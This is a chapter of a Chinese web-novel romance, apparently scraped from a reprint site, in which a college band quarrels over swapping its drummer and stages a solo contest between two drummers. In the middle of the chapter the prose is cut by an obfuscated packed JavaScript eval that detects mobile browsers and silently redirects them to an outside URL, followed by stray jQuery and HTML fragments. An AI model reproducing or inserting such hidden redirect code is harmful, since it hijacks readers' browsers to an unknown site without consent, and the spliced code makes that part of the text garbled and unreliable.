7.亲七下

作品:《我就亲一下

    [亲七下]


    -


    薄言的把她丢出去的力气不算小。


    池冬槐因为惯性往前踉跄了两步,但很快又被他扶住身形。


    她很快就听到身后的一群人都在对薄言的行为表示不满和谴责。


    她们过来关心池冬槐的情况。


    “我靠,你干什么?”


    “槐槐,没事吧?”


    “算了,我们也不是必须要在这个乐队…外面有的是别的好出去,我表哥有个朋友是负责livehouse场地布置的,我给你找个去!”


    宗遂也叹气看了眼薄言,声音有些微怒:“薄言,你对女孩子不能温柔点吗?”


    薄言似乎并不觉得自己做了什么错事。


    “我拽着呢,不会有什么。”他的声音依旧是如冰凉的,“但我要说清楚,你既然同意了,就没有可以随便走的道理。”


    池冬槐:……


    她就知道这是卖身契!


    舞台上那两位见情况不对,也跟着跳下来,一群人挤在一起,也是有些各说各话。


    搞乐队的人哪个没点个性,即便薄言在乐队里的话语权不小,他们也不可能完全就听他招呼。


    “阿言,你这是什么意思?”键盘手吉阳冰开口,“这个节骨眼上,你要换鼓手?”


    吉阳冰明显是向着孟璇说话的,他倒是觉得孟璇性格好,很好相处。


    眼前这小妹妹,能打架子鼓?


    看着更像是会在校园十佳上表演钢琴的乖乖女。


    孟璇见吉阳冰帮自己说话,赶紧跟上:“你也不要忘了,下个月就要演出了。”


    “这个节骨眼换鼓手的确是一件麻烦事。”贝斯手方时也说话了,“但是…”


    他但是了半天,没但是出来,先观察现在的情况。


    薄言被他们几个叽叽喳喳吵得头疼,从衣兜里拿出烟盒取了一只,他低头咬在齿间。


    池冬槐忽然皱眉。


    她小声说了句:“现在能不抽烟吗…”


    吵闹的争吵中,没有太多人听到她的诉求,但意料之外的,薄言没有点火。


    他略有些烦躁地咬着这支烟,眼神在她的脸上停了半秒。


    方时这会儿也观察好了,开始接着说。


    “其实我倒是不介意换鼓手,新血液加入或许能帮我突破之前的瓶颈也说不定呢!


    “虽然下个月有表演,但比赛还要两三个月,我们还有很多时间可以磨合。


    “再说了,我们乐队不就是经常换人吗?我们应该很擅长应付这样的事…”


    方时这说的句句属实。


    但孟璇的脸色又不好看了。


    他们这个乐队存在的时间其实不止一年。


    一开始是吉阳冰那届组的,后来大家都忙于学业,只能从新生里不断招募。


    每年人员的变动都很大,特别是前期。


    很多人加入乐队是觉得搞乐队很酷很帅,可以把妹,但能坚持下来的人,真正想做的人很少。


    有些人就算是想做,也心有余而力不足。


    搞乐队是一个消耗金钱消耗精力消耗心情的事情。


    如果不是因为薄言加入。


    这个乐队现在可能已经解散了。


    他作为主唱和主音电吉他手,可以把整个乐队的节奏都带得很好,薄言加入以后,大家觉得磨合这件事好像都变得简单起来了。


    方时这话说得倒是没错,但吉阳冰还是为了袒护孟璇,多说了一句。


    “方时,我们没那么多时间去赌了,你以为我们跟他俩一样才上大二啊?”


    他们俩都已经大四了。


    工作和在学校完全是两回事,学生时代再忙碌,也会有时间抽出来,但工作以后呢?谁说得准?


    方时被吉阳冰呛了一口,也不说话了,耸了耸肩,最后还是看向薄言。


    薄言的态度根本不用想,他就是那样淡淡地说:“把鼓手换了,不然就把我换了。”


    烟没点咬在嘴里更烦,他索性拿下来,顺手扔进了旁边的垃圾桶。


    话音落下。


    周遭其他几个人忽然都瞪大了双眼。


    吉阳冰的声音抬高好几个分贝:“薄言!这话是能随便说的?”


    “你应该知道我这人从来不随便说话。”薄言的语气很轻,说着看似随意,但了解他的人都知道。


    他就是这样一个,看似轻飘飘,却无法撼动的人。


    薄言这个人身上散发出来的随意并不是因为他真的那么随意,而是因为他对一切都不在乎。


    他只在乎自己的心情,在乎自己的感受。


    因为不在乎别人,所以随便。


    司子美刚还在跟大家吐槽薄言,听到这句,压着点声音又小声说:“他在这事儿上倒是挺爷们儿。”


    池冬槐的目光认真在每个人脸上停留。


    她不喜欢在这种吵架的时候说话,更别说今天这风暴的中心还是自己,而且…


    池冬槐的眼神飘到薄言身上的时候,她忽然下意识地打了个颤。


    就算她说什么,薄言这人也会给她压下去的。


    他才不会允许她说别的。


    场面越来越尴尬,大家都各执一词,最后还是宗遂这个调和油站出来,他往前走了一步,站在大家中间。


    “好了,这事我也有很大责任,前面没有跟大家说清楚。


    “孟璇之前的确申请了退队。


    “池冬槐是我们偶然招募到的新鼓手,但一切都还没有定数,我们也没有试过人。


    所以学校那边,还有你们这边,我也没有给出确定的消息。”


    他作为团队经理,这些肯定是要考虑的。


    单单凭他们几句话就这么把鼓手换了?


    这行为未免有点太幼稚。


    宗遂继续说:“现在既然是这个情况,我这边倒是有个提议。”


    大家还算是比较听他的意见,要真的让他们几个人自己做决策,是真能打起来。


    “让她们俩打个SOLO,我们再做判断,这样可以吗?”


    这是当下最公平的方式。


    池冬槐本来一直很安静,这时候突然点头,第一个答应:“可以的。”


    于情于理都应该这样。


    孟璇不是很服气,但也知道自己现在没几个人支持,站不住什么脚跟,她也只能同意。


    “行吧。”她看了一眼池冬槐手里的鼓棍,嘲讽地笑了,“真是多此一举。”


    她们之间,谁更适合留在这个乐队里当鼓手,这不是显而易见的吗?这需要比赛?


    不是她这个跟大家磨合了很久的人,还能是这个看起来手无缚鸡之力的小学妹?


    宗遂这个提议,大家都没什么异议。


    就连薄言都没说话。


    他只是垂眼看着池冬槐,看到她乖乖地走出去,把自己手里的鼓棒递给了孟璇。


    她礼貌地让孟璇先打。


    孟璇从她手里夺过鼓棒,仿佛那本来就应该是属于她的东西,在手里转动把玩。


    她再次回到舞台上,去调这架新鼓。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788454|174336||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    调音需要一些时间,他们也不完全是在这里等着,吉阳冰把宗遂叫到一边询问事情的来龙去脉。


    薄言则是出去抽了支烟。


    留着方时在这里跟她们几个嬉皮笑脸的。


    方时这人还挺友好的,他直接问池冬槐:“我觉得你应该很有信心?”


    “我以为你会问我是不是真的会打架子鼓…”池冬槐知道别人对自己的刻板印象。


    “哈哈哈那倒不会,阿言看人的眼光很好的,他都这么闹了,说要留下你。”方时说,“不过说真的,这还是我第一次听他说要退队。”


    池冬槐愣了下,抬眸:“竟然不是他随便挂在嘴边的说辞?”


    “挂在嘴边倒真的没有,他这人看着吊儿郎当的,但做事情绝对认真啊。”方时继续笑,“刚才还吓我一跳呢。”


    池冬槐几乎没有过类似的经历,她这个人通常不会跟人发生争吵和对立,根本不会到这种需要别人站队的情况。


    她有些无措地舔了舔唇瓣,“是吗…”


    “我也很期待你的表现哦。”方时说,“你有没有看过一个动漫,叫《孤独摇滚》?”


    池冬槐摇头:“我不看这些的。”


    “那可惜了…《孤独摇滚》里的鼓手也是很可爱啊!”方时可惜地说。


    林薇这时候探出头来:“我看我看!!这部超级好看啊啊啊啊啊!”


    两个二次元瞬间对上脑电波。


    他们在这边嬉笑的时候,薄言过来了。


    池冬槐知道他是在外面抽了烟回来,下意识地往后躲。


    这动作太明显,薄言直接伸手抓住她的手臂,给人拉近了点,他根本不在乎池冬槐一个人带着三个室友。


    想对她出手就出手。


    “躲什么躲?”薄言想起那回,“我今天又欺负你了?”


    池冬槐回答:“没有…”


    她想挪开脚步,却意外地被钻入呼吸之间的皂香侵袭,他的手指间带着很淡的、刚清洗过的味道。


    池冬槐想到刚才方时说的话,她试探地问薄言:“那个…要是我SOLO输了,你真的会…”


    会因为不换鼓手而退出乐队吗?


    池冬槐不喜欢介入别人的因果,就算是薄言,她也不希望他因为自己退出。


    池冬槐小心翼翼地问,忽然听到头顶上方传来一声嗤笑。


    薄言微微眯眼,反问她:“你以为我为什么同意让你们SOLO?”


    “不是公平嘛?”池冬槐是这么觉得的。


    奇怪的是,薄言竟然还是没有直接回答她。


    他还是问她。


    “池冬槐,你想加入我们吗?”这不是威胁,是普通的询问。


    她安静了十几秒。


    仿佛,漫长地挣扎了好几个世纪。


    “嗯。”她很轻地回应。


    “你想打鼓是吗?”


    “嗯。”


    “你也不想把本该属于自己的东西,拱手让人,是吗?”


    薄言的一句句话,像是恶魔的低语。


    轻易地剥开所有理智,勾起人心底的欲望。


    池冬槐紧紧握着自己的手指,缠绕间,她还是点头:“嗯。”


    “那就不要让给她。”薄言再一次伸手,把她的手拽起来。


    力道之间,他把池冬槐的手搞搞举起,将她拉到自己面前,无限逼近她的呼吸。


    他的嘴角一弯,终于回答了她一开始的问题。


    “什么狗屁公平——”


    “你根本输不了。”